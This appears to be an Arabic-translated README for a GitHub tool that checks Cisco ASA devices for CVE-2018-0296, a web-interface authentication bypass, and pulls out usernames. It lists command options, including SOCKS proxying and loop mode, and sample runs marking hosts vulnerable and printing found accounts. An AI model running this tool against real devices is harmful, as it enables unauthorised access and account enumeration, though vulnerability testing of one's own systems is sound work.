milo2012/cve-2018-0296اختبار CVE-2018-0296 واستخراج أسماء المستخدمين
اختبر CVE-2018-0296 واستخرج أسماء المستخدمين من Cisco ASA.
راجع https://sekurak.pl/opis-bledu-cve-2018-0296-ominiecie-uwierzytelnienia-w-webinterfejsie-cisco-asa/ لمزيد من التفاصيل التقنية.
#قائمة المساعدة
$ ./CVE-2018-0296 -h
الخيارات:
-h, --help عرض معلومات المساعدة
-u, --url عنوان URL للجهاز الهدف
-i عنوان IP لـ Socks Proxy
-p المنفذ لـ Socks Proxy
-t, --time عدد الثواني للنوم بين التكرارات
--loop وضع التكرار
#دليل الاستخدام
$ ./CVE-2018-0296 -u https://x.x.x.x:443
[*] جارٍ التحقق: https://x.x.x.x:443
[+] https://x.x.x.x:443 [Cisco VPN]
[+] https://x.x.x.x:443 [قابل للاختراق]
[*] تم العثور على أسماء مستخدمين
testuser1
$ ./CVE-2018-0296 -u https://www.yahoo.com:443
[*] جارٍ التحقق: https://www.yahoo.com
[+] https://www.yahoo.com [ليس Cisco VPN]
$ ./CVE-2018-0296 -u https://x.x.x.x:443
[*] جارٍ التحقق: https://x.x.x.x
[+] https://x.x.x.x [Cisco VPN]
[+] https://x.x.x.x [قابل للاختراق]
[*] لم يتم العثور على أسماء مستخدمين
$ ./CVE-2018-0296 -i 127.0.0.1 -p 10000 --loop 10 -u https://x.x.x.x:443
[*] جارٍ التحقق: https://x.x.x.x:443
[+] https://x.x.x.x:443 [Cisco VPN]
[+] https://x.x.x.x:443 [قابل للاختراق]
[*] تم العثور على أسماء مستخدمين
testuser1